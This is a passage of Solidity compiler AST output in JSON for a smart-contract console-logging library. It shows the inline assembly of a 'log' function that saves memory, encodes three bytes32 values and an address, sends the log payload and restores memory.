2:22","nodeType":"YulIdentifier","src":"391500:2:22"}]},{"nativeSrc":"391530:17:22","nodeType":"YulAssignment","src":"391530:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391542:4:22","nodeType":"YulLiteral","src":"391542:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"391536:5:22","nodeType":"YulIdentifier","src":"391536:5:22"},"nativeSrc":"391536:11:22","nodeType":"YulFunctionCall","src":"391536:11:22"},"variableNames":[{"name":"m4","nativeSrc":"391530:2:22","nodeType":"YulIdentifier","src":"391530:2:22"}]},{"nativeSrc":"391560:17:22","nodeType":"YulAssignment","src":"391560:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391572:4:22","nodeType":"YulLiteral","src":"391572:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"391566:5:22","nodeType":"YulIdentifier","src":"391566:5:22"},"nativeSrc":"391566:11:22","nodeType":"YulFunctionCall","src":"391566:11:22"},"variableNames":[{"name":"m5","nativeSrc":"391560:2:22","nodeType":"YulIdentifier","src":"391560:2:22"}]},{"nativeSrc":"391590:17:22","nodeType":"YulAssignment","src":"391590:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391602:4:22","nodeType":"YulLiteral","src":"391602:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"391596:5:22","nodeType":"YulIdentifier","src":"391596:5:22"},"nativeSrc":"391596:11:22","nodeType":"YulFunctionCall","src":"391596:11:22"},"variableNames":[{"name":"m6","nativeSrc":"391590:2:22","nodeType":"YulIdentifier","src":"391590:2:22"}]},{"nativeSrc":"391620:17:22","nodeType":"YulAssignment","src":"391620:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"391632:4:22","nodeType":"YulLiteral","src":"391632:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"391626:5:22","nodeType":"YulIdentifier","src":"391626:5:22"},"nativeSrc":"391626:11:22","nodeType":"YulFunctionCall","src":"391626:11:22"},"variableNames":[{"name":"m7","nativeSrc":"391620:2:22","nodeType":"YulIdentifier","src":"391620:2:22"}]},{"nativeSrc":"391650:18:22","nodeType":"YulAssignment","src":"391650:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"391662:5:22","nodeType":"YulLiteral","src":"391662:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"391656:5:22","nodeType":"YulIdentifier","src":"391656:5:22"},"nativeSrc":"391656:12:22","nodeType":"YulFunctionCall","src":"391656:12:22"},"variableNames":[{"name":"m8","nativeSrc":"391650:2:22","nodeType":"YulIdentifier","src":"391650:2:22"}]},{"nativeSrc":"391681:18:22","nodeType":"YulAssignment","src":"391681:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"391693:5:22","nodeType":"YulLiteral","src":"391693:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"391687:5:22","nodeType":"YulIdentifier","src":"391687:5:22"},"nativeSrc":"391687:12:22","nodeType":"YulFunctionCall","src":"391687:12:22"},"variableNames":[{"name":"m9","nativeSrc":"391681:2:22","nodeType":"YulIdentifier","src":"391681:2:22"}]},{"nativeSrc":"391712:19:22","nodeType":"YulAssignment","src":"391712:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"391725:5:22","nodeType":"YulLiteral","src":"391725:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"391719:5:22","nodeType":"YulIdentifier","src":"391719:5:22"},"nativeSrc":"391719:12:22","nodeType":"YulFunctionCall","src":"391719:12:22"},"variableNames":[{"name":"m10","nativeSrc":"391712:3:22","nodeType":"YulIdentifier","src":"391712:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"391815:4:22","nodeType":"YulLiteral","src":"391815:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"391821:10:22","nodeType":"YulLiteral","src":"391821:10:22","type":"","value":"0x6d572f44"}],"functionName":{"name":"mstore","nativeSrc":"391808:6:22","nodeType":"YulIdentifier","src":"391808:6:22"},"nativeSrc":"391808:24:22","nodeType":"YulFunctionCall","src":"391808:24:22"},"nativeSrc":"391808:24:22","nodeType":"YulExpressionStatement","src":"391808:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"391852:4:22","nodeType":"YulLiteral","src":"391852:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"391858:4:22","nodeType":"YulLiteral","src":"391858:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"391845:6:22","nodeType":"YulIdentifier","src":"391845:6:22"},"nativeSrc":"391845:18:22","nodeType":"YulFunctionCall","src":"391845:18:22"},"nativeSrc":"391845:18:22","nodeType":"YulExpressionStatement","src":"391845:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"391883:4:22","nodeType":"YulLiteral","src":"391883:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"391889:4:22","nodeType":"YulLiteral","src":"391889:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"391876:6:22","nodeType":"YulIdentifier","src":"391876:6:22"},"nativeSrc":"391876:18:22","nodeType":"YulFunctionCall","src":"391876:18:22"},"nativeSrc":"391876:18:22","nodeType":"YulExpressionStatement","src":"391876:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"391914:4:22","nodeType":"YulLiteral","src":"391914:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"391920:5:22","nodeType":"YulLiteral","src":"391920:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"391907:6:22","nodeType":"YulIdentifier","src":"391907:6:22"},"nativeSrc":"391907:19:22","nodeType":"YulFunctionCall","src":"391907:19:22"},"nativeSrc":"391907:19:22","nodeType":"YulExpressionStatement","src":"391907:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"391946:4:22","nodeType":"YulLiteral","src":"391946:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"391952:2:22","nodeType":"YulIdentifier","src":"391952:2:22"}],"functionName":{"name":"mstore","nativeSrc":"391939:6:22","nodeType":"YulIdentifier","src":"391939:6:22"},"nativeSrc":"391939:16:22","nodeType":"YulFunctionCall","src":"391939:16:22"},"nativeSrc":"391939:16:22","nodeType":"YulExpressionStatement","src":"391939:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"391980:4:22","nodeType":"YulLiteral","src":"391980:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"391986:2:22","nodeType":"YulIdentifier","src":"391986:2:22"}],"functionName":{"name":"writeString","nativeSrc":"391968:11:22","nodeType":"YulIdentifier","src":"391968:11:22"},"nativeSrc":"391968:21:22","nodeType":"YulFunctionCall","src":"391968:21:22"},"nativeSrc":"391968:21:22","nodeType":"YulExpressionStatement","src":"391968:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392014:4:22","nodeType":"YulLiteral","src":"392014:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"392020:2:22","nodeType":"YulIdentifier","src":"392020:2:22"}],"functionName":{"name":"writeString","nativeSrc":"392002:11:22","nodeType":"YulIdentifier","src":"392002:11:22"},"nativeSrc":"392002:21:22","nodeType":"YulFunctionCall","src":"392002:21:22"},"nativeSrc":"392002:21:22","nodeType":"YulExpressionStatement","src":"392002:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392048:5:22","nodeType":"YulLiteral","src":"392048:5:22","type":"","value":"0x120"},{"name":"p2","nativeSrc":"392055:2:22","nodeType":"YulIdentifier","src":"392055:2:22"}],"functionName":{"name":"writeString","nativeSrc":"392036:11:22","nodeType":"YulIdentifier","src":"392036:11:22"},"nativeSrc":"392036:22:22","nodeType":"YulFunctionCall","src":"392036:22:22"},"nativeSrc":"392036:22:22","nodeType":"YulExpressionStatement","src":"392036:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46384,"isOffset":false,"isSlot":false,"src":"391410:2:22","valueSize":1},{"declaration":46387,"isOffset":false,"isSlot":false,"src":"391440:2:22","valueSize":1},{"declaration":46414,"isOffset":false,"isSlot":false,"src":"391712:3:22","valueSize":1},{"declaration":46390,"isOffset":false,"isSlot":false,"src":"391470:2:22","valueSize":1},{"declaration":46393,"isOffset":false,"isSlot":false,"src":"391500:2:22","valueSize":1},{"declaration":46396,"isOffset":false,"isSlot":false,"src":"391530:2:22","valueSize":1},{"declaration":46399,"isOffset":false,"isSlot":false,"src":"391560:2:22","valueSize":1},{"declaration":46402,"isOffset":false,"isSlot":false,"src":"391590:2:22","valueSize":1},{"declaration":46405,"isOffset":false,"isSlot":false,"src":"391620:2:22","valueSize":1},{"declaration":46408,"isOffset":false,"isSlot":false,"src":"391650:2:22","valueSize":1},{"declaration":46411,"isOffset":false,"isSlot":false,"src":"391681:2:22","valueSize":1},{"declaration":46374,"isOffset":false,"isSlot":false,"src":"391986:2:22","valueSize":1},{"declaration":46376,"isOffset":false,"isSlot":false,"src":"392020:2:22","valueSize":1},{"declaration":46378,"isOffset":false,"isSlot":false,"src":"392055:2:22","valueSize":1},{"declaration":46380,"isOffset":false,"isSlot":false,"src":"391952:2:22","valueSize":1}],"id":46416,"nodeType":"InlineAssembly","src":"391032:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46418,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"392093:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":46419,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"392099:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":46417,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"392077:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"392077:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46421,"nodeType":"ExpressionStatement","src":"392077:28:22"},{"AST":{"nativeSrc":"392124:334:22","nodeType":"YulBlock","src":"392124:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"392145:4:22","nodeType":"YulLiteral","src":"392145:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"392151:2:22","nodeType":"YulIdentifier","src":"392151:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392138:6:22","nodeType":"YulIdentifier","src":"392138:6:22"},"nativeSrc":"392138:16:22","nodeType":"YulFunctionCall","src":"392138:16:22"},"nativeSrc":"392138:16:22","nodeType":"YulExpressionStatement","src":"392138:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392174:4:22","nodeType":"YulLiteral","src":"392174:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"392180:2:22","nodeType":"YulIdentifier","src":"392180:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392167:6:22","nodeType":"YulIdentifier","src":"392167:6:22"},"nativeSrc":"392167:16:22","nodeType":"YulFunctionCall","src":"392167:16:22"},"nativeSrc":"392167:16:22","nodeType":"YulExpressionStatement","src":"392167:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392203:4:22","nodeType":"YulLiteral","src":"392203:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"392209:2:22","nodeType":"YulIdentifier","src":"392209:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392196:6:22","nodeType":"YulIdentifier","src":"392196:6:22"},"nativeSrc":"392196:16:22","nodeType":"YulFunctionCall","src":"392196:16:22"},"nativeSrc":"392196:16:22","nodeType":"YulExpressionStatement","src":"392196:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392232:4:22","nodeType":"YulLiteral","src":"392232:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"392238:2:22","nodeType":"YulIdentifier","src":"392238:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392225:6:22","nodeType":"YulIdentifier","src":"392225:6:22"},"nativeSrc":"392225:16:22","nodeType":"YulFunctionCall","src":"392225:16:22"},"nativeSrc":"392225:16:22","nodeType":"YulExpressionStatement","src":"392225:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392261:4:22","nodeType":"YulLiteral","src":"392261:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"392267:2:22","nodeType":"YulIdentifier","src":"392267:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392254:6:22","nodeType":"YulIdentifier","src":"392254:6:22"},"nativeSrc":"392254:16:22","nodeType":"YulFunctionCall","src":"392254:16:22"},"nativeSrc":"392254:16:22","nodeType":"YulExpressionStatement","src":"392254:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392290:4:22","nodeType":"YulLiteral","src":"392290:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"392296:2:22","nodeType":"YulIdentifier","src":"392296:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392283:6:22","nodeType":"YulIdentifier","src":"392283:6:22"},"nativeSrc":"392283:16:22","nodeType":"YulFunctionCall","src":"392283:16:22"},"nativeSrc":"392283:16:22","nodeType":"YulExpressionStatement","src":"392283:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392319:4:22","nodeType":"YulLiteral","src":"392319:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"392325:2:22","nodeType":"YulIdentifier","src":"392325:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392312:6:22","nodeType":"YulIdentifier","src":"392312:6:22"},"nativeSrc":"392312:16:22","nodeType":"YulFunctionCall","src":"392312:16:22"},"nativeSrc":"392312:16:22","nodeType":"YulExpressionStatement","src":"392312:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392348:4:22","nodeType":"YulLiteral","src":"392348:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"392354:2:22","nodeType":"YulIdentifier","src":"392354:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392341:6:22","nodeType":"YulIdentifier","src":"392341:6:22"},"nativeSrc":"392341:16:22","nodeType":"YulFunctionCall","src":"392341:16:22"},"nativeSrc":"392341:16:22","nodeType":"YulExpressionStatement","src":"392341:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392377:5:22","nodeType":"YulLiteral","src":"392377:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"392384:2:22","nodeType":"YulIdentifier","src":"392384:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392370:6:22","nodeType":"YulIdentifier","src":"392370:6:22"},"nativeSrc":"392370:17:22","nodeType":"YulFunctionCall","src":"392370:17:22"},"nativeSrc":"392370:17:22","nodeType":"YulExpressionStatement","src":"392370:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392407:5:22","nodeType":"YulLiteral","src":"392407:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"392414:2:22","nodeType":"YulIdentifier","src":"392414:2:22"}],"functionName":{"name":"mstore","nativeSrc":"392400:6:22","nodeType":"YulIdentifier","src":"392400:6:22"},"nativeSrc":"392400:17:22","nodeType":"YulFunctionCall","src":"392400:17:22"},"nativeSrc":"392400:17:22","nodeType":"YulExpressionStatement","src":"392400:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"392437:5:22","nodeType":"YulLiteral","src":"392437:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"392444:3:22","nodeType":"YulIdentifier","src":"392444:3:22"}],"functionName":{"name":"mstore","nativeSrc":"392430:6:22","nodeType":"YulIdentifier","src":"392430:6:22"},"nativeSrc":"392430:18:22","nodeType":"YulFunctionCall","src":"392430:18:22"},"nativeSrc":"392430:18:22","nodeType":"YulExpressionStatement","src":"392430:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46384,"isOffset":false,"isSlot":false,"src":"392151:2:22","valueSize":1},{"declaration":46387,"isOffset":false,"isSlot":false,"src":"392180:2:22","valueSize":1},{"declaration":46414,"isOffset":false,"isSlot":false,"src":"392444:3:22","valueSize":1},{"declaration":46390,"isOffset":false,"isSlot":false,"src":"392209:2:22","valueSize":1},{"declaration":46393,"isOffset":false,"isSlot":false,"src":"392238:2:22","valueSize":1},{"declaration":46396,"isOffset":false,"isSlot":false,"src":"392267:2:22","valueSize":1},{"declaration":46399,"isOffset":false,"isSlot":false,"src":"392296:2:22","valueSize":1},{"declaration":46402,"isOffset":false,"isSlot":false,"src":"392325:2:22","valueSize":1},{"declaration":46405,"isOffset":false,"isSlot":false,"src":"392354:2:22","valueSize":1},{"declaration":46408,"isOffset":false,"isSlot":false,"src":"392384:2:22","valueSize":1},{"declaration":46411,"isOffset":false,"isSlot":false,"src":"392414:2:22","valueSize":1}],"id":46422,"nodeType":"InlineAssembly","src":"392115:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"390735:3:22","parameters":{"id":46381,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46374,"mutability":"mutable","name":"p0","nameLocation":"390747:2:22","nodeType":"VariableDeclaration","scope":46424,"src":"390739:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46373,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390739:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46376,"mutability":"mutable","name":"p1","nameLocation":"390759:2:22","nodeType":"VariableDeclaration","scope":46424,"src":"390751:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46375,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390751:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46378,"mutability":"mutable","name":"p2","nameLocation":"390771:2:22","nodeType":"VariableDeclaration","scope":46424,"src":"390763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46377,"name":"bytes32","nodeType":"ElementaryTypeName","src":"390763:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46380,"mutability":"mutable","name":"p3","nameLocation":"390783:2:22","nodeType":"VariableDeclaration","scope":46424,"src":"390775:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46379,"name":"address","nodeType":"ElementaryTypeName","src":"390775:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"390738:48:22"},"returnParameters":{"id":46382,"nodeType":"ParameterList","parameters":[],"src":"390801:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46476,"nodeType":"FunctionDefinition","src":"392470:1732:22","nodes":[],"body":{"id":46475,"nodeType":"Block","src":"392542:1660:22","nodes":[],"statements":[{"assignments":[46436],"declarations":[{"constant":false,"id":46436,"mutability":"mutable","name":"m0","nameLocation":"392560:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392552:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46435,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392552:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46437,"nodeType":"VariableDeclarationStatement","src":"392552:10:22"},{"assignments":[46439],"declarations":[{"constant":false,"id":46439,"mutability":"mutable","name":"m1","nameLocation":"392580:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392572:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46438,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392572:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46440,"nodeType":"VariableDeclarationStatement","src":"392572:10:22"},{"assignments":[46442],"declarations":[{"constant":false,"id":46442,"mutability":"mutable","name":"m2","nameLocation":"392600:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392592:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46441,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392592:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46443,"nodeType":"VariableDeclarationStatement","src":"392592:10:22"},{"assignments":[46445],"declarations":[{"constant":false,"id":46445,"mutability":"mutable","name":"m3","nameLocation":"392620:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392612:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46444,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392612:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46446,"nodeType":"VariableDeclarationStatement","src":"392612:10:22"},{"assignments":[46448],"declarations":[{"constant":false,"id":46448,"mutability":"mutable","name":"m4","nameLocation":"392640:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392632:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46447,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392632:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46449,"nodeType":"VariableDeclarationStatement","src":"392632:10:22"},{"assignments":[46451],"declarations":[{"constant":false,"id":46451,"mutability":"mutable","name":"m5","nameLocation":"392660:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392652:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46450,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392652:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46452,"nodeType":"VariableDeclarationStatement","src":"392652:10:22"},{"assignments":[46454],"declarations":[{"constant":false,"id":46454,"mutability":"mutable","name":"m6","nameLocation":"392680:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392672:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46453,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392672:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46455,"nodeType":"VariableDeclarationStatement","src":"392672:10:22"},{"assignments":[46457],"declarations":[{"constant":false,"id":46457,"mutability":"mutable","name":"m7","nameLocation":"392700:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392692:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46456,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392692:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46458,"nodeType":"VariableDeclarationStatement","src":"392692:10:22"},{"assignments":[46460],"declarations":[{"constant":false,"id":46460,"mutability":"mutable","name":"m8","nameLocation":"392720:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392712:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46459,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392712:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46461,"nodeType":"VariableDeclarationStatement","src":"392712:10:22"},{"assignments":[46463],"declarations":[{"constant":false,"id":46463,"mutability":"mutable","name":"m9","nameLocation":"392740:2:22","nodeType":"VariableDeclaration","scope":46475,"src":"392732:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46462,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392732:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46464,"nodeType":"VariableDeclarationStatement","src":"392732:10:22"},{"assignments":[46466],"declarations":[{"constant":false,"id":46466,"mutability":"mutable","name":"m10","nameLocation":"392760:3:22","nodeType":"VariableDeclaration","scope":46475,"src":"392752:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46465,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392752:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46467,"nodeType":"VariableDeclarationStatement","src":"392752:11:22"},{"AST":{"nativeSrc":"392782:1024:22","nodeType":"YulBlock","src":"392782:1024:22","statements":[{"body":{"nativeSrc":"392825:313:22","nodeType":"YulBlock","src":"392825:313:22","statements":[{"nativeSrc":"392843:15:22","nodeType":"YulVariableDeclaration","src":"392843:15:22","value":{"kind":"number","nativeSrc":"392857:1:22","nodeType":"YulLiteral","src":"392857:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"392847:6:22","nodeType":"YulTypedName","src":"392847:6:22","type":""}]},{"body":{"nativeSrc":"392928:40:22","nodeType":"YulBlock","src":"392928:40:22","statements":[{"body":{"nativeSrc":"392957:9:22","nodeType":"YulBlock","src":"392957:9:22","statements":[{"nativeSrc":"392959:5:22","nodeType":"YulBreak","src":"392959:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"392945:6:22","nodeType":"YulIdentifier","src":"392945:6:22"},{"name":"w","nativeSrc":"392953:1:22","nodeType":"YulIdentifier","src":"392953:1:22"}],"functionName":{"name":"byte","nativeSrc":"392940:4:22","nodeType":"YulIdentifier","src":"392940:4:22"},"nativeSrc":"392940:15:22","nodeType":"YulFunctionCall","src":"392940:15:22"}],"functionName":{"name":"iszero","nativeSrc":"392933:6:22","nodeType":"YulIdentifier","src":"392933:6:22"},"nativeSrc":"392933:23:22","nodeType":"YulFunctionCall","src":"392933:23:22"},"nativeSrc":"392930:36:22","nodeType":"YulIf","src":"392930:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"392885:6:22","nodeType":"YulIdentifier","src":"392885:6:22"},{"kind":"number","nativeSrc":"392893:4:22","nodeType":"YulLiteral","src":"392893:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"392882:2:22","nodeType":"YulIdentifier","src":"392882:2:22"},"nativeSrc":"392882:16:22","nodeType":"YulFunctionCall","src":"392882:16:22"},"nativeSrc":"392875:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"392899:28:22","nodeType":"YulBlock","src":"392899:28:22","statements":[{"nativeSrc":"392901:24:22","nodeType":"YulAssignment","src":"392901:24:22","value":{"arguments":[{"name":"length","nativeSrc":"392915:6:22","nodeType":"YulIdentifier","src":"392915:6:22"},{"kind":"number","nativeSrc":"392923:1:22","nodeType":"YulLiteral","src":"392923:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"392911:3:22","nodeType":"YulIdentifier","src":"392911:3:22"},"nativeSrc":"392911:14:22","nodeType":"YulFunctionCall","src":"392911:14:22"},"variableNames":[{"name":"length","nativeSrc":"392901:6:22","nodeType":"YulIdentifier","src":"392901:6:22"}]}]},"pre":{"nativeSrc":"392879:2:22","nodeType":"YulBlock","src":"392879:2:22","statements":[]},"src":"392875:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"392992:3:22","nodeType":"YulIdentifier","src":"392992:3:22"},{"name":"length","nativeSrc":"392997:6:22","nodeType":"YulIdentifier","src":"392997:6:22"}],"functionName":{"name":"mstore","nativeSrc":"392985:6:22","nodeType":"YulIdentifier","src":"392985:6:22"},"nativeSrc":"392985:19:22","nodeType":"YulFunctionCall","src":"392985:19:22"},"nativeSrc":"392985:19:22","nodeType":"YulExpressionStatement","src":"392985:19:22"},{"nativeSrc":"393021:37:22","nodeType":"YulVariableDeclaration","src":"393021:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"393038:3:22","nodeType":"YulLiteral","src":"393038:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"393047:1:22","nodeType":"YulLiteral","src":"393047:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"393050:6:22","nodeType":"YulIdentifier","src":"393050:6:22"}],"functionName":{"name":"shl","nativeSrc":"393043:3:22","nodeType":"YulIdentifier","src":"393043:3:22"},"nativeSrc":"393043:14:22","nodeType":"YulFunctionCall","src":"393043:14:22"}],"functionName":{"name":"sub","nativeSrc":"393034:3:22","nodeType":"YulIdentifier","src":"393034:3:22"},"nativeSrc":"393034:24:22","nodeType":"YulFunctionCall","src":"393034:24:22"},"variables":[{"name":"s